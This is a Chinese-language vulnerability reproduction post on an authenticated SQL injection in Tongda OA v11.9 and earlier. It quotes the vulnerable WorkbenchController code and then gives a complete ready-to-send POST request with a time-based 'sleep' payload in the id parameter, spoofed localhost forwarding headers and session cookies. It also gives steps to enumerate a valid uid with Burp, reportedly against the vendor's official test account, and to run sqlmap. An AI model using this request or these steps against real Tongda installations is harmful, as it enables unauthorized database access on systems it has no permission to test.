通达OA v11.9 upsharestatus 后台SQL注入漏洞

漏洞描述

通达OA v11.9 及以下版本中由于某些参数过滤不完善导致后台存在SQL注入漏洞。

漏洞影响

通达OA <= v11.9

环境搭建

https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe

20231201170844652-png (4)

漏洞复现

漏洞文件位 webroot/general/appbuilder/modules/portal/controllers/WorkbenchController.php

public function actionUpsharestatus()
	{
		Yii::$app->response->format = yii\web\Response::FORMAT_JSON;
		$data = modules\appdesign\models\AppUtils::toGBK($_POST);

		if (modules\portal\controllers\intval($data["uid"]) == $_SESSION["LOGIN_UID"]) {
			modules\portal\models\PortalWorkbench::updateAll(array("state" => "{$data["status"]}"), "id={$data["id"]}");
		}
		else if ($data["status"] == 1) {
			modules\portal\models\PortalWorkbenchState::deleteAll(array("wids" => "{$data["id"]}", "uid" => "{$_SESSION["LOGIN_UID"]}"));
		}
		else {
			$Work = new modules\portal\models\PortalWorkbenchState();
			$Work->wids = $data["id"];
			$Work->uid = $_SESSION["LOGIN_UID"];
			$Work->save();
		}

		$dataBack = array("status" => 1, "msg" => modules\portal\controllers\_("操作成功"));
		$dataBack = modules\appdesign\models\AppUtils::toUTF8($dataBack);
		return $dataBack;
	}

20231201170947608-tongdaoa-42.e7767211_2023-12-01_17-09-24 (1)

其中 updateAll() 函数并没有使用防止 SQL注入的 sql_injection() 来防止注入

webroot/inc/conn.php

20231201171042666-tongdaoa-43.96051987_2023-12-01_17-10-22 (1)

所以这里就出现了 id 参数存在注入的情况,请求包如下

POST /general/appbuilder/web/portal/workbench/upsharestatus HTTP/1.1
Host: 
Connection: close
Content-Length: 36
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: __root_domain_v=.tongda2000.com; SID_12=5ea03399; USER_NAME_COOKIE=chenqiang; Hm_lvt_7cbefde9059536a2b96aaafc134d625c=1617014067,1617196083; _qddaz=QD.677915359373668; PHPSESSID=nso4iqhvp2qi464eoavk2fn0c0; OA_USER_ID=chenqiang; SID_15=ded66d80; LAST_OPERATION_TIME=1617242241
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1

uid=15&status=1&id=1;select sleep(4)

注意 uid参数 要为当前用户的uid才能完成请求,可以使用 burp 遍历查看时间响应

例如这里使用官网的测试账户 uid 遍历出为 15

20231201171130526-png (5)

如果uid错误则不会出现时间延迟,将请求包放入 Sqlmap跑一下

20231201171219665-tongdaoa-46.22e4595d_2023-12-01_17-12-00 (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容